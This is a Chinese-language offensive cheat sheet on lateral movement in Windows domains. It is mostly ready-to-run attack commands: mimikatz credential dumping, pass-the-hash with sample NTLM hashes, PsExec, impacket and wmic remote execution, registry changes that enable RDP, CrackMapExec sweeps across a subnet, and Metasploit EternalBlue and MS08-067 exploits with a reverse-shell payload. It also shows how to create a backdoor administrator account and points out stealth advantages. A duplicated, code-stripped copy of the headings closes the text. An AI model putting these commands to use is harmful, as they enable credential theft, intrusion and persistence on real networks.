域渗透-横向移动手法总结
字数 980 2025-08-23 18:31:34

域渗透横向移动手法全面指南

1. Pass-the-Hash (PTH) 横向移动

基本原理

  • 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,无需提供明文密码
  • 基于NTLM身份认证机制,使用口令加密后的hash值进行认证
  • Hash分为LM hash和NT hash(密码>15字符时无法生成LM hash,Vista/2008后默认禁用LMhash)

适用场景

  • 域/工作组环境
  • 可以获得hash但无法爆破
  • 内网中存在与当前机器相同密码的主机

利用方法

  1. 使用mimikatz获取hash:
privilege::debug
sekurlsa::logonpasswords
  1. 进行PTH攻击:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:627782b7274e323941c9418399460d5b
  1. 远程桌面登录(需修改注册表):
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
sekurlsa::pth /user:administrator /domain:test /ntlm:627782b7274e323941c9418399460d5b "/run:mstsc.exe /restrictedadmin"

注意事项

  • 微软补丁后,常规PTH可能失败,但Administrator(SID 500)账号仍可成功
  • 禁用NTLM认证时,PsExec无法利用,但mimikatz仍可成功

2. PsExec横向移动

基本原理

  • Windows官方工具,通过管道在远程主机创建psexec服务
  • 利用SMB服务(445端口)通过明文或hash传递执行命令

利用方法

  1. 明文传递:
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd
  1. Hash传递:
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
  1. 使用impacket工具包:
python3 psexec.py -hashes ee:627782b7274e323941c9418399460d5b ./Administrator@10.10.10.152

注意事项

  • 需要远程系统开启admin$共享(默认开启)
  • 目标需开放445端口
  • 会在目标系统创建psexec服务,执行后自动删除
  • 会产生大量日志,易被溯源
  • 非域用户无法利用内存票据,只能使用账号密码

3. WMI横向移动

基本原理

  • Windows Management Instrumentation (Windows管理工具)
  • 比PsExec更隐蔽,默认不记录WMI操作日志
  • 需要目标开放135(WMI默认管理端口)和445端口(传回显)

利用方法

  1. 使用wmic命令:
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
  1. 使用impacket的wmiexec.py:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami"
  1. 使用wmiexec.vbs:
cscript wmiexec.vbs /cmd 192.168.0.123 administrator 123456 "ipconfig"
  1. 开启远程桌面:
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

其他WMI命令

  1. 检查RDP状态:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections
  1. 不同系统开启RDP:
  • XP/2003:
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
  • Win7+/2008+:
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1

4. 其他横向移动技术

使用MSF的hash模块

use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

CrackMapExec批量PTH

crackmapexec smb 192.168.0.0/24 -u administrator -H 627782b7274e323941c9418399460d5b

PowerShell WMI方法

  1. Invoke-WmiCommand:
Import-Module .\Invoke-WmiCommand.ps1
$User = ".\administrator"
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123
$Remote.PayloadOutput
  1. Invoke-WMIMethod:
$User=".\administrator"
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.123" -Credential $Cred

利用系统漏洞横向

  1. MS08-067 (RPC远程缓冲区溢出):
use exploit/windows/smb/ms08_067_netapi
set rhosts 172.16.5.27
set lhost 172.16.5.28
set payload generic/shell_bind_tcp
exploit
  1. EternalBlue (MS17-010):
    扫描:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.14
set threads 10
exploit

利用:

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.14
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.147
set lport 4444
exploit

命令执行:

use auxiliary/admin/smb/ms17_010_command
set rhosts=192.168.26.33.33
set COMMAND net user hack hack123 /add
set COMMAND net localgroup administrators hack /add
exploit
域渗透横向移动手法全面指南 1. Pass-the-Hash (PTH) 横向移动 基本原理 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,无需提供明文密码 基于NTLM身份认证机制,使用口令加密后的hash值进行认证 Hash分为LM hash和NT hash(密码>15字符时无法生成LM hash,Vista/2008后默认禁用LMhash) 适用场景 域/工作组环境 可以获得hash但无法爆破 内网中存在与当前机器相同密码的主机 利用方法 使用mimikatz获取hash: 进行PTH攻击: 远程桌面登录(需修改注册表): 注意事项 微软补丁后,常规PTH可能失败,但Administrator(SID 500)账号仍可成功 禁用NTLM认证时,PsExec无法利用,但mimikatz仍可成功 2. PsExec横向移动 基本原理 Windows官方工具,通过管道在远程主机创建psexec服务 利用SMB服务(445端口)通过明文或hash传递执行命令 利用方法 明文传递: Hash传递: 使用impacket工具包: 注意事项 需要远程系统开启admin$共享(默认开启) 目标需开放445端口 会在目标系统创建psexec服务,执行后自动删除 会产生大量日志,易被溯源 非域用户无法利用内存票据,只能使用账号密码 3. WMI横向移动 基本原理 Windows Management Instrumentation (Windows管理工具) 比PsExec更隐蔽,默认不记录WMI操作日志 需要目标开放135(WMI默认管理端口)和445端口(传回显) 利用方法 使用wmic命令: 使用impacket的wmiexec.py: 使用wmiexec.vbs: 开启远程桌面: 其他WMI命令 检查RDP状态: 不同系统开启RDP: XP/2003: Win7+/2008+: 4. 其他横向移动技术 使用MSF的hash模块 CrackMapExec批量PTH PowerShell WMI方法 Invoke-WmiCommand: Invoke-WMIMethod: 利用系统漏洞横向 MS08-067 (RPC远程缓冲区溢出): EternalBlue (MS17-010): 扫描: 利用: 命令执行: